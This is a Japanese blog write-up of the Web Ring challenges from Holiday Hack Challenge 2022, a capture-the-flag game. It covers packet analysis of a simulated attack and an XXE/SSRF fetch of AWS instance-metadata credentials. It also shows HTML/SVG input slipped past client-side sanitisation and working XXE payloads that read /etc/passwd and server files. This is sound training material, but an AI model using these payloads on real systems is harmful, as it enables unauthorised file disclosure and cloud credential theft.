はまやんはまやんはまやん

hamayanhamayan's blog

Recover the Web Ring - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [5/8]

English ver. -> https://hackmd.io/@POkJ8tzYSMKRnIFAFaPw4w/SJnFgxLYj
まとめトップ

 
 
 

Recover the Web Ring

Webは得意なのでサクッと解いていきたい。(フラグ)

Naughty IP

Difficulty: ★
Use the artifacts from Alabaster Snowball to analyze this attack on the Boria mines.
Most of the traffic to this site is nice, but one IP address is being naughty!
Which is it? Visit Sparkle Redberry in the Tolkien Ring for hints.

Wiresharkの統計>終端から接続IPを確認しよう。

一番多いのはパケットを収集している端末IPなので、二番目にパケットが多いIPが怪しい。
出してみると正答。
18.222.86.32

Credential Mining

Difficulty: ★
The first attack is a brute force login. What's the first username tried?

認証情報のブルートフォースなのでPOST通信をしている所を探そう。
http.request.method == "POST"でフィルタリングすると該当箇所が見つかる。
送信データを見てみるとログインユーザーはaliceなので、これを送ると正答。

404 FTW

Difficulty: ★
The next attack is forced browsing where the naughty one is guessing URLs. What's the first successful URL path in this attack?

(ip.src == 18.222.86.32 || ip.dst == 18.222.86.32) && httpで眺めてみる。
するとパケット#23352くらいから404が目立ち、ディレクトリスキャニングしているようなログが見られる。

((ip.src == 18.222.86.32 || ip.dst == 18.222.86.32) && http) && (http.response.code == 200)で見ると#26774, #27716あたりで200で帰ってきている。
26771番のパケットが対応するパケットで/procが答え。

IMDS, XXE, and Other Abbreviations

Difficulty: ★★
The last step in this attack was to use XXE to get secret keys from the IMDS service. What URL did the attacker force the server to fetch?

パケットを見ると確かに/procに対してXXE攻撃が見られる。
SSRFでAWSの認証情報を盗もうとしていた。
最後の攻撃で使われたURLを答えると正答。

http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Open Boria Mine Door

Difficulty: ★★★
Open the door to the Boria Mines. Help Alabaster Snowball in the Web Ring to get some hints for this challenge.

これまでの問題を終えたら、この問題へのヒントがAlabaster Snowballからたくさんもらえる。

Hint: The locks take input, render some type of image, and process on the back end to unlock. To start, take a good look at the source HTML/JavaScript.
Understanding how Content-Security-Policy works can help with this challenge.
Developers use both client- and server-side input validation to keep out naughty input.

パズルが与えられる。ソースコードを見ると、いろいろわかるっぽいし、まじめにパズルを解く問題ではなさそうだ。

左上 PIN 1

Chromeであれば、PIN1を右クリックして、「フレームのソースを表示」してみる。
ソースコードにヒントが書いてある
<!-- @&@&&W&&W&&&& -->
なるほど。実際に@&@&&W&&W&&&&を使ってみるとクリアできた。

中上 PIN 2

同様にソースコードを見てみよう。
<!-- TODO: FILTER OUT HTML FROM USER INPUT -->

HTMLが使えるみたい。
SVGで自由に絵が描けそう。

全体を敷き詰めるような絵をかいてやればいい。
ごにょごにょやると以下でクリア。

<svg width="400" height="400">
<rect width="400" height="400" fill="white">
</svg>

右上 PIN 3

ソースコードを見ると、
<!-- TODO: FILTER OUT JAVASCRIPT FROM USER INPUT -->
とあるが、同様にSVGで書いてやればいい。
色を合わせる必要があるので注意。

<svg width="200" height="170">
<rect width="200" height="170" fill="blue">
</svg>

右下 PIN4

ソースコードを見るとサニタイズするコードが追加されている。
だが、これはonblur='sanitizeInput()'とあるようにフォーカスが外れた時にしか発動しないので、
入力してEnterキーを押してやれば手軽にbypass可能。

<svg width="200" height="170">
<rect width="200" height="100" fill="white" />
<rect y="100" width="200" height="70" fill="blue" />
</svg>

中下 PIN5

ソースコードを見るとCSPが追加されている。
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'; style-src 'self'">
だが、PIN4と同一方針で解ける。
(非想定解で解いている気がするな…)

<svg width="200" height="170">
<rect width="200" height="170" fill="red" />
<rect x="10" y="70" width="200" height="100" fill="blue" />
</svg>

左下 PIN6

ソースコードは変わっているが、これも同一方針…
#00FF00のカラーコードってgreenじゃなくてlimeなのか。

<svg width="200" height="170">
<rect width="200" height="170" fill="red" />
<rect y="100" width="190" height="100" fill="blue" />
<rect width="200" height="50" fill="lime" />
</svg>

最終的にはこのように解ける。

これで先に進めるようになるので、進んでWeb Ringの最後の問題に挑戦しよう。
ちなみに、このオブジェの上には乗ることができる。

Glamtariel's Fountain

Difficulty: ★★★★★
Stare into Glamtariel's fountain and see if you can find the ring!
What is the filename of the ring she presents you? Talk to Hal Tandybuck in the Web Ring for hints.

まずは、Hal Tandybuckに話しかけてヒントをもらっておこう。

Hint: Early parts of this challenge can be solved by focusing on Glamtariel's WORDS.
Hint: Sometimes we can hit web pages with XXE when they aren't expecting it!

Burp Suiteを起動してwebサービスを色々実行してみる。

中々ファンシーな見た目。
右上に4つの物体があり、それを姫か山にドラッグアンドドロップすることでメッセージが得られる。
POST /droppedに対して以下のようなものを送信している。

{"imgDrop":"img1","who":"none","reqType":"json"}

imgDropはimg1からimg4まで、whoはnone|princess|fountainで、reqTypeはjson固定。
jsonからxmlへの変換を色々やってみたがダメ。
適当にサイトで遊んでみると、怖い画面が一瞬出てくる。

何やらコメントが意味深。
PATHというのとAPPが強調されているのも気になるが…
その後もポチポチ進めるとリングが出る画面で遷移が止まってしまう。

この状態でjsonからxmlへの変換を試すとうまくいった。
Content-Typeをapplication/xmlにして、以下のように送ると、I love rings of all colors!と受理されていそうなメッセージが帰って来る。

<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
  <imgDrop>img3</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</root>

あとはどこかにxxe;を仕込んで抜き出すだけ…と思ったが、ここでかなり日数を使った。
随所随所にあるヒントからパスを導き出す。
…というか大量の試行から答えが出てきたので、以下に書くのは推察というより、答えからこういうことだったのだろうと逆算して記載しているのに近い。

  • 大文字でAPPと表記されている所がある。コンテナでよくあるルートにappフォルダを置いて構築する事を意味している?
  • RINGLISTというワードが出てくる。これが姫が隠していたもの。つまり逆に言えば、見つけるべきもの。
    • 拡張子抜きのファイル名はringlist
  • SIMPLE FORMATというワードも出てくる。拡張子についてのヒントだろう。簡単なものというといくつかあるが…
    • 拡張子はtxtだった

あとは、リクエストからディレクトリ構造を理解して、ディレクトリをくまなく探すと以下のように/app/static/images/ringlist.txtで何かが帰ってくる。

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///app/static/images/ringlist.txt" >]>
<root>
  <imgDrop>&xxe;</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</root>

応答は以下の通り。

{
  "appResp": "Ah, you found my ring list! Gold, red, blue - so many colors! Glad I don't keep any secrets in it any more! Please though, don't tell anyone about this.^She really does try to keep things safe. Best just to put it away. (click)",
  "droppedOn": "none",
  "visit": "static/images/pholder-morethantopsupersecret63842.png,262px,100px"
}

よくわからないので、通常のリクエストをInterceptして書き換えて表示させてみる。

出てきた破かれたフォルダーみたいなものに書かれているのは以下のようなこと。

x_phial_pholder_2022
bluering.txt
redring.txt

なるほど。XXEのURL部分を
file:///app/static/images/x_phial_pholder_2022/bluering.txt
に変えてみると、blue ring用のコメントが出てきた。いい感じ。
redring.txtも出てきた。
彼女が言うには"Gold"もあるみたいなので、goldring.txtとしてみるがダメ。
他にもsilverringがあったな。silverring.txtを見てみると、なにかがまた出てくる。

よーく見てみると、リングにgoldring_to_be_deleted.txtと書いてあるように見える。
試すと、違うリクエストが帰って来る。ok.

Hmmm, and I thought you wanted me to take a look at that pretty silver ring, but instead, you've made a pretty bold REQuest. 
That's ok, but even if I knew anything about such things, I'd only use a secret TYPE of tongue to discuss them.
She's definitely hiding something.

噴水が完全に味方になった。
REQuest?TYPE?reqtypeを変えればいいの?
色々やっていると、&xxe;をreqTypeの方に入れても特にエラーが出ないことに気が付いた。
imgDropを戻して、&xxe;をreqTypeに載せたら進んだ。
具体的には以下のようにした。

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt" >]>
<root>
  <imgDrop>img1</imgDrop>
  <who>princess</who>
  <reqType>&xxe;</reqType>
</root>

すると…

ついに手に入った!
ファイル名を答えよという問題なので、応答にあるstatic/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.pngからファイル名を取り、
goldring-morethansupertopsecret76394734.pngを答えると正解。

Webリングもゲットー!

途中に…

Web Ringから次のリングへの途中に意味ありげなスペースがある。

よく見ると縄が垂れ下がっていて、↑キーで上に移動できる。
途中で←へ移動すると宝箱がある。

 
 
 

次 -> Recover the Cloud Ring - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [6/8] - はまやんはまやんはまやん